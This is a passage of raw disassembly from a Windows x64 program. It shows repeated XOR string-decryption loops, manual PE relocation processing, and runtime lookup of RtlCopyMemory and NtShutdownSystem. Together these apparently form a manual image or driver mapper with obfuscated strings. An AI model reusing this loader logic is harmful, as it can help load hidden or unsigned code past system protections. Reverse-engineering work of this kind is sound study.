movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x140029a00]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140029a10]
movups xmmword [rbp + 0xb0], xmm1
mov eax, dword [0x140029a20]
mov dword [rbp + 0xc0], eax
movzx eax, byte [0x140029a24]
mov byte [rbp + 0xc4], al
mov r8d, edi
cmp r15d, 2
jl 0x14001ad38
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x40
jl 0x14001ac40
cmp r8d, 0x45
jge 0x14001ad83
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x45
jl 0x14001ad50
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm0, xmmword [str.BKSOJV.b3_____j8_.:___zW]
movups xmmword [rbp + 0xd8], xmm0
movsd xmm0, qword [0x1400294f0]
movsd qword [rbp + 0xe8], xmm0
mov eax, dword [0x1400294f8]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x1400294fc]
mov word [rbp + 0xf4], ax
movzx eax, byte [0x1400294fe]
mov byte [rbp + 0xf6], al
mov r8d, edi
cmp r15d, 2
jl 0x14001aef8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0xd8]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x14001ae00
cmp r8d, 0x1f
jge 0x14001af43
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x14001af10
lea rcx, [rbp + 0xd8]
call fcn.1400021c0
lea rax, vtable.std::_Func_impl_no_alloc_class__int___cdecl_main_int__char____ptr64____ptr64_::_2::_lambda_15___unsigned_long_long_unsigned___int64___char_const____ptr64__char_const____ptr64_.0
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x80]
mov qword [rbp + 0xb8], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x140]
call fcn.1400026f0
lea rcx, [rbp + 0x140]
call fcn.1400023c0
movups xmm0, xmmword [0x1400299e0]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1400299f0]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x140029a00]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140029a10]
movups xmmword [rbp + 0xb0], xmm1
mov eax, dword [0x140029a20]
mov dword [rbp + 0xc0], eax
movzx eax, byte [0x140029a24]
mov byte [rbp + 0xc4], al
mov r8d, edi
cmp r15d, 2
jl 0x14001b0f8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x40
jl 0x14001b000
cmp r8d, 0x45
jge 0x14001b143
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x45
jl 0x14001b110
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm0, xmmword [str.XVWS_K___c__4___j____q_230_w_6___3]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029b80]
movups xmmword [rbp + 0x90], xmm1
movsd xmm0, qword [0x140029b90]
movsd qword [rbp + 0xa0], xmm0
mov eax, dword [0x140029b98]
mov dword [rbp + 0xa8], eax
movzx eax, word [0x140029b9c]
mov word [rbp + 0xac], ax
movzx eax, byte [0x140029b9e]
mov byte [rbp + 0xae], al
mov r8d, edi
cmp r15d, 2
jl 0x14001b2c8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x14001b1d0
cmp r8d, 0x2f
jge 0x14001b313
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x14001b2e0
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm0, xmmword [str.K_VSKWQa]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029e80]
movups xmmword [rbp + 0x90], xmm1
movsd xmm0, qword [0x140029e90]
movsd qword [rbp + 0xa0], xmm0
mov eax, dword [str.OLid]
mov dword [rbp + 0xa8], eax
mov r8d, edi
cmp r15d, 2
jl 0x14001b478
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x14001b380
cmp r8d, 0x2c
jge 0x14001b4c3
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x14001b490
lea rcx, [rbp + 0x80]
call fcn.1400021c0
mov rax, qword [rbp + 0x178]
mov edx, dword [rax + 0x50]
call fcn.140017040
mov rsi, rax
mov qword [rbp + 0x50], rax
mov rcx, qword [rbp + 0x178]
mov r10d, dword [rcx + 0x50]
movups xmm0, xmmword [str.XVWS_K_._c_5_ha9_6_nupt___vmxQ_]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029fa0]
movups xmmword [rbp + 0x90], xmm1
mov ecx, dword [0x140029fb0]
mov dword [rbp + 0xa0], ecx
mov r8d, edi
cmp r15d, 2
jl 0x14001b638
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x20
jl 0x14001b540
cmp r8d, 0x24
jge 0x14001b683
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14001b650
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x80]
call fcn.1400021c0
mov rax, qword [rbp + 0x178]
mov ebx, 5
test byte [rax + 0x16], 1
jne 0x14001b7ae
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.dbghelp.dll_ImageNtHeader]
mov r13, rax
mov r8d, ebx
lea r9, [rbp + 0xd0]
mov dl, 1
mov rcx, rax
call qword [sym.imp.dbghelp.dll_ImageDirectoryEntryToData]
mov rbx, rax
sub rsi, qword [r13 + 0x30]
je case.0x14001b758.5
mov eax, dword [rbp + 0xd0]
test eax, eax
je case.0x14001b758.5
lea r12, [rbx + rax]
cmp rbx, r12
jae case.0x14001b758.5
nop dword [rax + rax]
xor r9d, r9d
mov r8d, dword [rbx]
mov rdx, qword [rbp + 0x158]
mov rcx, r13
call qword [sym.imp.dbghelp.dll_ImageRvaToVa]
mov r9, rax
mov r8d, dword [rbx + 4]
sub r8d, 8
shr r8d, 1
lea rbx, [rbx + 8]
mov r10d, edi
je 0x14001b795
lea r11, [0x140000000]
nop dword [rax]
nop dword [rax + rax]
movzx edx, word [rbx]
mov ecx, edx
shr ecx, 0xc
cmp ecx, 0xa
ja case.0x14001b758.5
mov ecx, dword [r11 + rcx*4 + 0x21844]
add rcx, r11
jmp rcx
and edx, 0xfff
add rdx, r9
mov rax, rsi
shr rax, 0x10
add word [rdx], ax
jmp case.0x14001b758.0
and edx, 0xfff
add rdx, r9
add word [rdx], si
jmp case.0x14001b758.0
and edx, 0xfff
add rdx, r9
add qword [rdx], rsi
inc r10d
add rbx, 2
cmp r10d, r8d
jb 0x14001b740
cmp rbx, r12
jb 0x14001b700
mov rax, qword [rbp + 0x178]
mov ebx, 5
mov rsi, qword [rbp + 0x50]
mov r12d, dword [rax + 0x50]
mov r13, qword [rbp + 0x158]
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140036e70], eax
jle 0x14001b813
lea rcx, [0x140036e70]
call fcn.140025fb8
cmp dword [0x140036e70], 0xffffffff
jne 0x14001b813
xor r8d, r8d
lea rdx, str.RtlCopyMemory
lea rcx, [0x1400296e8]
call fcn.140014d10
mov qword [0x140036d70], rax
lea rcx, [0x140036e70]
call fcn.140025f4c
mov qword [rsp + 0x20], r12
mov r9, r13
mov r8, rsi
mov rdx, qword [0x140036d70]
call fcn.140023450
mov rax, qword [rbp + 0x178]
mov r10d, dword [rax + 0x28]
add rsi, r10
movups xmm0, xmmword [0x14002a130]
movups xmmword [rbp + 0xd8], xmm0
movsd xmm0, qword [0x14002a140]
movsd qword [rbp + 0xe8], xmm0
mov eax, dword [0x14002a148]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x14002a14c]
mov word [rbp + 0xf4], ax
cmp byte [0x14002a14d], 0
je 0x14001b9e3
mov r8d, edi
cmp r15d, 2
jl 0x14001b998
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0xd8]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x14001b8a0
cmp r8d, 0x1e
jge 0x14001b9e3
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x14001b9b0
mov rdx, r10
lea rcx, [rbp + 0xd8]
call fcn.1400021c0
lea rax, vtable.std::_Func_impl_no_alloc_class__int___cdecl_main_int__char____ptr64____ptr64_::_2::_lambda_15___unsigned_long_long_unsigned___int64___char_const____ptr64__char_const____ptr64_.0
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x80]
mov qword [rbp + 0xb8], rax
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0xc60]
lea rcx, [rbp + 0x5d0]
call fcn.140004a20
lea rcx, [rbp + 0x8c0]
lea rax, [rbp + 0xc60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rax + 0x70]
mov qword [rcx + 0x70], rax
mov r8d, 4
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
mov eax, dword [r8 + rdx]
cmp dword [0x140037040], eax
jle 0x14001bb23
lea rcx, [0x140037040]
call fcn.140025fb8
cmp dword [0x140037040], 0xffffffff
jne 0x14001bb23
lea rcx, [0x140029810]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140037038], rax
lea rcx, [0x140037040]
call fcn.140025f4c
mov rcx, qword [0x140036e48]
mov rdx, rsi
call fcn.140016700
mov rdx, qword [0x140037038]
lea rcx, [rbp + 0x290]
lea rax, [rbp + 0x8c0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rax + 0x70]
mov qword [rcx + 0x70], rax
lea rcx, [rbp + 0x290]
call rdx
mov r13d, eax
mov rcx, qword [0x140036e48]
call fcn.1400168c0
movups xmm0, xmmword [0x140029ba0]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029bb0]
movups xmmword [rbp + 0x90], xmm1
mov ecx, dword [0x140029bc0]
mov dword [rbp + 0xa0], ecx
movzx eax, byte [0x140029bc4]
mov byte [rbp + 0xa4], al
mov r8d, edi
cmp r15d, 2
jl 0x14001bd38
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x20
jl 0x14001bc40
cmp r8d, 0x25
jge 0x14001bd83
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14001bd50
mov r8, rsi
mov edx, r13d
lea rcx, [rbp + 0x80]
call fcn.1400021c0
lea eax, [r13 - 1]
cmp eax, 7
ja case.default.0x14001bdb5
cdqe
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x21870]
add rcx, rdx
jmp rcx
movups xmm0, xmmword [0x140029c00]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029c10]
movups xmmword [rbp + 0x90], xmm1
mov eax, dword [0x140029c20]
mov dword [rbp + 0xa0], eax
mov r8d, edi
cmp r15d, 2
jl 0x14001bef8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
